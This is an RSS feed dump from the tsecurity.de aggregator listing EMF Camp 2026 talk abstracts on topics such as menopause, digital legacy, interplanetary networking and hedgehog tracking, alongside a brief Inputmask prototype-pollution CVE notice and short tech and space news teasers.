<link>https://tsecurity.de/de/3679424/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679424/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 14:03:18 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used to run seamlessly, now requires debugging, optimization, and at times a little creative patching.
Menopause affects over 1 billion individuals worldwide, yet it remains poorly understood. Despite its universal impact, it is shrouded in myths and a pervasive enforced silence, leaving many unprepared for the changes it brings. This presentation reframes menopause as a hormone system update, exploring how it can subtly, and sometimes dramatically alters life experiences. Viewed through the lens of anyone who has ever had to troubleshoot a stubborn, unpredictable system, this presentation examines how this important life transition and why understanding these changes matter for you and your community. 
My aim is to have an honest conversation about this topic that empowers you with self-advocacy.
Drawing on my own lived experience and as a certified menopause coach, this talk blends data, humor, and clear language to unpack what happens during menopause and why “just pushing through it” is not a viable workaround. I’ll highlight the latest stats, debug common myths, and reveal how menopause quietly affects your entire life.
We can’t roll back the update, but we can optimize the system.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/153-menopause-exe-running-with-limited-resources-hacking-the]]></content:encoded>
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<title><![CDATA[Have you thought about your digital legacy? (emf2026)]]></title>
<description><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional "Letters of Wishes" provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. Th...]]></description>
<link>https://tsecurity.de/de/3679414/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679414/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:47:50 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional &quot;Letters of Wishes&quot; provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. This workshop introduces the concept of the Machine-Readable Letter of Wishes: a framework for post-mortem autonomy. By applying a &quot;If This, Then That&quot; (IFTTT) logic to digital legacies, we will explore how to automate final wishes across various services, ensuring data is handled with human dignity and precision.

Traditionally, a Letter of Wishes is a physical document offering non-binding guidance to those named in a will. However, in an era of encrypted accounts, fragmented cloud storage and AI. Paper often falls short. 

This workshop moves from the philosophical to the practical:

* Defining the digital legacy: Identifying the specific data points, social accounts, and assets that constitute a modern legacy.
* Pipe mapping: Applying IFTTT methodology to personal wishes (e.g., &quot;If I am inactive for 12 months, then transfer my photo archive to named person
* Exploring autonomy: Discussing the ethical implications of automated execution and how it can alleviate the &quot;administrative burden of grief&quot; for executors.

In the workshop people will gain a foundational understanding of how automation can protect digital rights and dignity, starting that important conversation that benefits individuals, their loved ones, and society.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/151-have-you-thought-about-your-digital-legacy]]></content:encoded>
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<title><![CDATA[Have you thought about your digital legacy? (emf2026)]]></title>
<description><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional "Letters of Wishes" provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. Th...]]></description>
<link>https://tsecurity.de/de/3679399/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679399/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:33:31 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Content warning: Contains frank conversations about death

Death is inevitable, yet our digital infrastructure remains woefully unprepared for it. While traditional &quot;Letters of Wishes&quot; provide a static roadmap for executors, they lack the agency to interact with our complex, data-driven lives. This workshop introduces the concept of the Machine-Readable Letter of Wishes: a framework for post-mortem autonomy. By applying a &quot;If This, Then That&quot; (IFTTT) logic to digital legacies, we will explore how to automate final wishes across various services, ensuring data is handled with human dignity and precision.

Traditionally, a Letter of Wishes is a physical document offering non-binding guidance to those named in a will. However, in an era of encrypted accounts, fragmented cloud storage and AI. Paper often falls short. 

This workshop moves from the philosophical to the practical:

* Defining the digital legacy: Identifying the specific data points, social accounts, and assets that constitute a modern legacy.
* Pipe mapping: Applying IFTTT methodology to personal wishes (e.g., &quot;If I am inactive for 12 months, then transfer my photo archive to named person
* Exploring autonomy: Discussing the ethical implications of automated execution and how it can alleviate the &quot;administrative burden of grief&quot; for executors.

In the workshop people will gain a foundational understanding of how automation can protect digital rights and dignity, starting that important conversation that benefits individuals, their loved ones, and society.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/151-have-you-thought-about-your-digital-legacy]]></content:encoded>
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<title><![CDATA[An Internet for the Solar System (emf2026)]]></title>
<description><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from te...]]></description>
<link>https://tsecurity.de/de/3679392/it-security-video/an-internet-for-the-solar-system-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679392/it-security-video/an-internet-for-the-solar-system-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:17:57 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from terrestrial internet infrastructure are being adapted for the unique challenges of space: extreme latency, intermittent connectivity, and vast distances.

The session will introduce Delay/Disruption Tolerant Networking (DTN), a key protocol framework enabling reliable communication where traditional internet models fail. We will explore how LunaNet envisions a federated system of lunar orbiters, surface relays, and Earth-based nodes working together as a scalable, interoperable network.

A particular focus will be placed on ground infrastructure, including the role of commercial and community-accessible deep space facilities such as Goonhilly Earth Station. Once a cornerstone of satellite communications, Goonhilly is now re-emerging as a key player in deep space data links, supporting missions and opening opportunities for non-governmental participation in space communications.

The talk will also consider future extensions of this interplanetary internet: Mars networks, autonomous routing between spacecraft, and the potential for open standards that enable wider access beyond national space agencies.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/45-an-internet-for-the-solar-system]]></content:encoded>
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<title><![CDATA[Cognitive biases: The bugs, features and zero‑days of the human mind (emf2026)]]></title>
<description><![CDATA[Our brains are extraordinary: fast, intuitive and endlessly creative, but they also come with quirks, shortcuts and predictable bugs. These “cognitive biases” shape everything from the food we order to the technologies we build, often without us noticing. In this talk, we’ll explore some of the m...]]></description>
<link>https://tsecurity.de/de/3679323/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679323/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 12:32:55 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Our brains are extraordinary: fast, intuitive and endlessly creative, but they also come with quirks, shortcuts and predictable bugs. These “cognitive biases” shape everything from the food we order to the technologies we build, often without us noticing. In this talk, we’ll explore some of the most surprising and entertaining biases that influence our everyday decisions and what they reveal about how humans actually think.

This isn’t a list of flaws. It’s a tour of the elegant, messy, deeply human heuristics that help us navigate a complex world. By understanding these patterns, we can design better tools, make smarter decisions and be kinder to ourselves and others when things don’t go to plan.

Expect demos, relatable examples and practical takeaways you can use the moment you leave the tent.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/97-cognitive-biases-the-bugs-features]]></content:encoded>
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<title><![CDATA[Cognitive biases: The bugs, features and zero‑days of the human mind (emf2026)]]></title>
<description><![CDATA[Our brains are extraordinary: fast, intuitive and endlessly creative, but they also come with quirks, shortcuts and predictable bugs. These “cognitive biases” shape everything from the food we order to the technologies we build, often without us noticing. In this talk, we’ll explore some of the m...]]></description>
<link>https://tsecurity.de/de/3679313/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679313/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 12:18:47 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Our brains are extraordinary: fast, intuitive and endlessly creative, but they also come with quirks, shortcuts and predictable bugs. These “cognitive biases” shape everything from the food we order to the technologies we build, often without us noticing. In this talk, we’ll explore some of the most surprising and entertaining biases that influence our everyday decisions and what they reveal about how humans actually think.

This isn’t a list of flaws. It’s a tour of the elegant, messy, deeply human heuristics that help us navigate a complex world. By understanding these patterns, we can design better tools, make smarter decisions and be kinder to ourselves and others when things don’t go to plan.

Expect demos, relatable examples and practical takeaways you can use the moment you leave the tent.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/97-cognitive-biases-the-bugs-features]]></content:encoded>
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<title><![CDATA[CVE-2026-16150 | RobinHerbots Inputmask up to 5.0.9 Internal Deep Merge Helper extend.js extendDefaults/extendDefinitions/extendAliases prototype pollution (Issue 2885 / EUVD-2026-45394)]]></title>
<description><![CDATA[A vulnerability was found in RobinHerbots Inputmask up to 5.0.9 and classified as critical. Affected by this issue is the function extendDefaults/extendDefinitions/extendAliases in the library lib/dependencyLibs/extend.js of the component Internal Deep Merge Helper. The manipulation results in im...]]></description>
<link>https://tsecurity.de/de/3679286/sicherheitsluecken/cve-2026-16150-robinherbots-inputmask-up-to-509-internal-deep-merge-helper-extendjs-extenddefaultsextenddefinitionsextendaliases-prototype-pollution-issue-2885-euvd-2026-45394/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679286/sicherheitsluecken/cve-2026-16150-robinherbots-inputmask-up-to-509-internal-deep-merge-helper-extendjs-extenddefaultsextenddefinitionsextendaliases-prototype-pollution-issue-2885-euvd-2026-45394/</guid>
<pubDate>Sun, 19 Jul 2026 12:09:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/robinherbots:inputmask">RobinHerbots Inputmask up to 5.0.9</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this issue is the function <code>extendDefaults/extendDefinitions/extendAliases</code> in the library <em>lib/dependencyLibs/extend.js</em> of the component <em>Internal Deep Merge Helper</em>. The manipulation results in improperly controlled modification of object prototype attributes.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-16150">CVE-2026-16150</a>. The attack may be performed from remote. There is no available exploit.

The project was informed of the problem early through an issue report but has not responded yet.]]></content:encoded>
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<title><![CDATA[Week in review: High severity WordPress vulnerabilities, fake OAuth IDs bypass sign-in logs]]></title>
<description><![CDATA[Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Two new high severity WordPress vulnerabilities, patch immediately! The 7.0.2 WordPress security release addresses one critical and one high severity security issue. Cynative: Open-source deep…
Read ...]]></description>
<link>https://tsecurity.de/de/3679067/it-security-nachrichten/week-in-review-high-severity-wordpress-vulnerabilities-fake-oauth-ids-bypass-sign-in-logs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679067/it-security-nachrichten/week-in-review-high-severity-wordpress-vulnerabilities-fake-oauth-ids-bypass-sign-in-logs/</guid>
<pubDate>Sun, 19 Jul 2026 09:37:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Two new high severity WordPress vulnerabilities, patch immediately! The 7.0.2 WordPress security release addresses one critical and one high severity security issue. Cynative: Open-source deep…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/week-in-review-high-severity-wordpress-vulnerabilities-fake-oauth-ids-bypass-sign-in-logs/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/week-in-review-high-severity-wordpress-vulnerabilities-fake-oauth-ids-bypass-sign-in-logs/">Week in review: High severity WordPress vulnerabilities, fake OAuth IDs bypass sign-in logs</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Perplexity AI Releases WANDR: An Open Benchmark Evaluating Research Agents That Must Search Wide And Deep]]></title>
<description><![CDATA[Perplexity's WANDR is an open benchmark and evaluation harness with 500 evidence-heavy tasks. It tests whether research agents can discover many qualifying entities and back each one with cited, re-verifiable evidence. Perplexity Search as Code leads at 0.363 soft F1 and 0.133 hard F1.
The post P...]]></description>
<link>https://tsecurity.de/de/3679066/ai-nachrichten/perplexity-ai-releases-wandr-an-open-benchmark-evaluating-research-agents-that-must-search-wide-and-deep/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679066/ai-nachrichten/perplexity-ai-releases-wandr-an-open-benchmark-evaluating-research-agents-that-must-search-wide-and-deep/</guid>
<pubDate>Sun, 19 Jul 2026 09:33:16 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Perplexity's WANDR is an open benchmark and evaluation harness with 500 evidence-heavy tasks. It tests whether research agents can discover many qualifying entities and back each one with cited, re-verifiable evidence. Perplexity Search as Code leads at 0.363 soft F1 and 0.133 hard F1.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/19/perplexity-ai-releases-wandr-an-open-benchmark-evaluating-research-agents-that-must-search-wide-and-deep/">Perplexity AI Releases WANDR: An Open Benchmark Evaluating Research Agents That Must Search Wide And Deep</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[Week in review: High severity WordPress vulnerabilities, fake OAuth IDs bypass sign-in logs]]></title>
<description><![CDATA[Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Two new high severity WordPress vulnerabilities, patch immediately! The 7.0.2 WordPress security release addresses one critical and one high severity security issue. Cynative: Open-source deep resear...]]></description>
<link>https://tsecurity.de/de/3679052/it-security-nachrichten/week-in-review-high-severity-wordpress-vulnerabilities-fake-oauth-ids-bypass-sign-in-logs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679052/it-security-nachrichten/week-in-review-high-severity-wordpress-vulnerabilities-fake-oauth-ids-bypass-sign-in-logs/</guid>
<pubDate>Sun, 19 Jul 2026 09:22:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Two new high severity WordPress vulnerabilities, patch immediately! The 7.0.2 WordPress security release addresses one critical and one high severity security issue. Cynative: Open-source deep research agent Running a large language model against a live cloud account to hunt for security holes comes with an obvious hazard. An agent that holds real credentials and a mandate to poke around can … <a href="https://www.helpnetsecurity.com/2026/07/19/week-in-review-oauth-client-ids-spoofed-sonicwall-sma-appliances-targeted-in-zero-day-attacks/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/19/week-in-review-oauth-client-ids-spoofed-sonicwall-sma-appliances-targeted-in-zero-day-attacks/">Week in review: High severity WordPress vulnerabilities, fake OAuth IDs bypass sign-in logs</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Anyone here using Proton Drive as their primary cloud storage on Fedora?]]></title>
<description><![CDATA[Has anyone here completely switched to Proton Drive on Fedora as their primary cloud storage? I'm curious how you're handling things like: automatic sync large file transfers backups rclone vs the official CLI overall reliability I've been digging into Proton Drive's Linux architecture and wrote ...]]></description>
<link>https://tsecurity.de/de/3678775/linux-tipps/anyone-here-using-proton-drive-as-their-primary-cloud-storage-on-fedora/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678775/linux-tipps/anyone-here-using-proton-drive-as-their-primary-cloud-storage-on-fedora/</guid>
<pubDate>Sun, 19 Jul 2026 04:54:39 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Has anyone here completely switched to Proton Drive on Fedora as their primary cloud storage?</p> <p>I'm curious how you're handling things like:</p> <p>automatic sync</p> <p>large file transfers</p> <p>backups</p> <p>rclone vs the official CLI</p> <p>overall reliability</p> <p>I've been digging into Proton Drive's Linux architecture and wrote up my findings if anyone's interested: <a href="https://hintnal.com/articles/proton-drive-on-linux-2026-complete-technical-guide-for-power-users">Proton Dive on Linux </a></p> <p>I'd love to hear how other Fedora users have set up their workflow.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/the_nazar"> /u/the_nazar </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v0ch1y/anyone_here_using_proton_drive_as_their_primary/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v0ch1y/anyone_here_using_proton_drive_as_their_primary/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Understanding DTF Powder: Benefits And Applications]]></title>
<description><![CDATA[In this post, I will talk about understanding DTF powder and show you its benefits and applications. One of the most cutting-edge technologies in the custom printing industry is Direct-to-Film (DTF) printing. Whether you’re a business looking to produce eye-catching, long-lasting designs on your ...]]></description>
<link>https://tsecurity.de/de/3678675/it-security-nachrichten/understanding-dtf-powder-benefits-and-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678675/it-security-nachrichten/understanding-dtf-powder-benefits-and-applications/</guid>
<pubDate>Sun, 19 Jul 2026 02:38:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this post, I will talk about understanding DTF powder and show you its benefits and applications. One of the most cutting-edge technologies in the custom printing industry is Direct-to-Film (DTF) printing. Whether you’re a business looking to produce eye-catching, long-lasting designs on your products or an individual seeking a distinctive and personalized garment, DTF […]</p>
<p>The post <a href="https://secureblitz.com/understanding-dtf-powder/">Understanding DTF Powder: Benefits And Applications</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
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<title><![CDATA[How to complete Half-Life 2 in 1 hour (emf2026)]]></title>
<description><![CDATA[A presentation explaining inner workings of the source engine, and how they are exploited by speedrunners use to try to finish the video game Half-Life 2 in the fastest time possible.

The source engines other-worldly physics provides a fascinating and mathematically defined world that speedrunne...]]></description>
<link>https://tsecurity.de/de/3678671/it-security-video/how-to-complete-half-life-2-in-1-hour-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678671/it-security-video/how-to-complete-half-life-2-in-1-hour-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 02:33:10 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A presentation explaining inner workings of the source engine, and how they are exploited by speedrunners use to try to finish the video game Half-Life 2 in the fastest time possible.

The source engines other-worldly physics provides a fascinating and mathematically defined world that speedrunners have come to understand and manipulate in ways that were never intended by the creators of the game. Exploiting (and understanding) this engine has led to &quot;runners&quot; learning skills that are unique to source engine games, and extremely fun!

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/81-how-to-complete-half-life-2-in-1-hour]]></content:encoded>
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<title><![CDATA[Signalling on the London Underground (emf2026)]]></title>
<description><![CDATA[A deep dive into the history and technical innovations that have facilitated the (usually) speedy transit of millions of daily passengers across London. We begin with a short history of the network, cover the differences required for tunnel based signalling under a bustling capital, explore some ...]]></description>
<link>https://tsecurity.de/de/3678655/it-security-video/signalling-on-the-london-underground-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678655/it-security-video/signalling-on-the-london-underground-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 02:16:52 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A deep dive into the history and technical innovations that have facilitated the (usually) speedy transit of millions of daily passengers across London. We begin with a short history of the network, cover the differences required for tunnel based signalling under a bustling capital, explore some amazing inventions to handle rising passenger demand, and finish with the current state of communications based train control which has been gradually displacing traditional fixed signalling on the underground. The author is a volunteer at the London Transport Museum but this talk is not affiliated.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/36-signalling-on-the-london-underground]]></content:encoded>
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<title><![CDATA[Signalling on the London Underground (emf2026)]]></title>
<description><![CDATA[A deep dive into the history and technical innovations that have facilitated the (usually) speedy transit of millions of daily passengers across London. We begin with a short history of the network, cover the differences required for tunnel based signalling under a bustling capital, explore some ...]]></description>
<link>https://tsecurity.de/de/3678598/it-security-video/signalling-on-the-london-underground-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678598/it-security-video/signalling-on-the-london-underground-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 01:17:42 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A deep dive into the history and technical innovations that have facilitated the (usually) speedy transit of millions of daily passengers across London. We begin with a short history of the network, cover the differences required for tunnel based signalling under a bustling capital, explore some amazing inventions to handle rising passenger demand, and finish with the current state of communications based train control which has been gradually displacing traditional fixed signalling on the underground. The author is a volunteer at the London Transport Museum but this talk is not affiliated.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/36-signalling-on-the-london-underground]]></content:encoded>
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<title><![CDATA[Long After Pluto Fly-By, NASA's New Horizon's Probe Wakes Up Again, Starts Doing New Science]]></title>
<description><![CDATA[Launched in 2006, NASA's New Horizons probe flew by the planet Pluto in 2015. But this week it "awakened from its longest sleep ever," reports CNN.

It's now 5.9 billion miles (9.5 billion kilometers) from Earth...


NASA's New Horizons spacecraft went into a planned hibernation mode on August 7,...]]></description>
<link>https://tsecurity.de/de/3678309/it-security-nachrichten/long-after-pluto-fly-by-nasas-new-horizons-probe-wakes-up-again-starts-doing-new-science/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678309/it-security-nachrichten/long-after-pluto-fly-by-nasas-new-horizons-probe-wakes-up-again-starts-doing-new-science/</guid>
<pubDate>Sat, 18 Jul 2026 19:16:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Launched in 2006, NASA's New Horizons probe flew by the planet Pluto in 2015. But this week it "awakened from its longest sleep ever," reports CNN.

It's now 5.9 billion miles (9.5 billion kilometers) from Earth...


NASA's New Horizons spacecraft went into a planned hibernation mode on August 7, 2025, and woke up on June 23 using commands stored on its main computer. The mission's flight controllers at the Johns Hopkins University's Applied Physics Laboratory in Laurel, Maryland, confirmed that New Horizons is in great shape and ready to transmit a stream of science data gathered during hibernation from its location in the region of icy objects known as the Kuiper Belt. 


Pluto is the largest of thousands of frozen, rocky bodies called trans-Neptunian objects, or TNOs, that exist in the Kuiper Belt at the edge of our solar system — remnants from its formation 4.5 billion years ago... The spacecraft is capturing data about the rotation rates, orientations and shapes... The measurements provide insights into how planets are born from dust and pebbles, said Pontus Brandt, New Horizons project scientist at the Johns Hopkins Applied Physics Laboratory.
"There seems to be more paired, snowman-shaped bodies, like Arrokoth, out there than anyone expected," Brandt wrote in an email. "Are such binaries the most common planetesimal and is this how larger planets have been built in our own and other stellar systems? These are very deep questions that New Horizons can help answer." 


The spacecraft also measures the distribution of gas in the outer heliosphere, the expansive, protective bubble formed by a steady stream of particles that release from the sun called the solar wind. Meanwhile, an instrument called the Pluto Energetic Particle Spectrometer Science Investigation is measuring galactic cosmic rays, extremely fast particles created when stars explode. The particles pose one of the more severe threats for human activities in space, Brandt said, but the boundary of the heliosphere acts as a shield to protect our solar system from 70% of them. New Horizons' data could help scientists learn more about how this puzzling shielding works, he said. 

Another instrument, the Venetia Burney Student Dust Counter, has collected data that has thrown New Horizon's team a curveball, Brandt said. The team expected dust abundance to be high within the Kuiper Belt due to the significant presence of small objects. But New Horizons has traveled beyond the known boundary of the Kuiper Belt — and it's still in a dusty environment.

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</div><p><a href="https://science.slashdot.org/story/26/07/18/0537208/long-after-pluto-fly-by-nasas-new-horizons-probe-wakes-up-again-starts-doing-new-science?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Why is the hacker scene so damn queer? (emf2026)]]></title>
<description><![CDATA[At the first glance sexuality doesn't have much to do with technology. 
But understanding the history and interlinking between both fields is helpful to understand both scenes better.

As everything involving humans, things are a bit blurry, terms and concepts change and with these also the under...]]></description>
<link>https://tsecurity.de/de/3678294/it-security-video/why-is-the-hacker-scene-so-damn-queer-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678294/it-security-video/why-is-the-hacker-scene-so-damn-queer-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:48:42 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[At the first glance sexuality doesn't have much to do with technology. 
But understanding the history and interlinking between both fields is helpful to understand both scenes better.

As everything involving humans, things are a bit blurry, terms and concepts change and with these also the understanding. In philosophy there is a concept &quot;hermeneutical circle&quot; which means, you go around a subject from different perspectives and often end up where you started but in that process you learned more about the subject and have some better understanding of the broader topic. That is what I hope to achieve with this talk.

In that regard I will try to show that there are good arguments why queer folks early on used the internet above average.
I will also try to work out why queer folks designed tech in some specific way.

And how these (early) developments become subject of scrutiny when nearly every human on earth (or in the orbit) is on the internet and big business basically has taken over the internet. How regulating the internet for a majority might harm some minorities. And help others.

The development I see lately is rather paradox. I feel like queer people are slowly vanishing from the internet and tend to do more things offline then the average.
Where the internet once was a safe space for queers it seems now the offline world might be that safe space nowadays.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/232-why-is-the-hacker-scene-so-damn-queer]]></content:encoded>
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<title><![CDATA[Amazons Alexa+ im Test: Damit hätte Captain Kirk die USS Enterprise nicht steuern können]]></title>
<description><![CDATA[KI-Bilderkennung in Python - Deep Learning mit Keras: virtueller Drei-Tage- · Exklusiv: IT-Security Komplettpaket: Ethical Hacking & Metasploit (7 E- ...]]></description>
<link>https://tsecurity.de/de/3678245/it-security-nachrichten/amazons-alexa-im-test-damit-haette-captain-kirk-die-uss-enterprise-nicht-steuern-koennen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678245/it-security-nachrichten/amazons-alexa-im-test-damit-haette-captain-kirk-die-uss-enterprise-nicht-steuern-koennen/</guid>
<pubDate>Sat, 18 Jul 2026 18:40:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[KI-Bilderkennung in Python - Deep Learning mit Keras: virtueller Drei-Tage- · Exklusiv: <b>IT</b>-<b>Security</b> Komplettpaket: Ethical Hacking &amp; Metasploit (7 E- ...]]></content:encoded>
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<title><![CDATA[Two Hobbyists, a Hedgehog Rescue, and an Exciting Hedgehog Tracking Project (Project HEDGE) (emf2026)]]></title>
<description><![CDATA[What began as a simple curiosity about what happens to rehabilitated hedgehogs after release slowly evolved into a long-term wildlife tracking system built from homemade electronics, trial and error, and a surprising amount of night time garden surveillance.

Using RFID tags, cameras, solar power...]]></description>
<link>https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:34:31 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What began as a simple curiosity about what happens to rehabilitated hedgehogs after release slowly evolved into a long-term wildlife tracking system built from homemade electronics, trial and error, and a surprising amount of night time garden surveillance.

Using RFID tags, cameras, solar power, tiny computers, and increasingly ambitious homemade electronics, the project aims to track the movements and behaviour of rehabilitated hedgehogs after release. The long-term hope is to grow the system into an open-source citizen science platform that other wildlife groups, makers, and curious hackers could build, adapt, and expand themselves.

Expect muddy field deployments, low-power electronics, strange bugs (both software and biological), unexpected toad visitors, occasional spider jump scares, questionable design decisions, and practical lessons learned while building technology that has to survive weather, wildlife, and volunteers armed with screwdrivers.

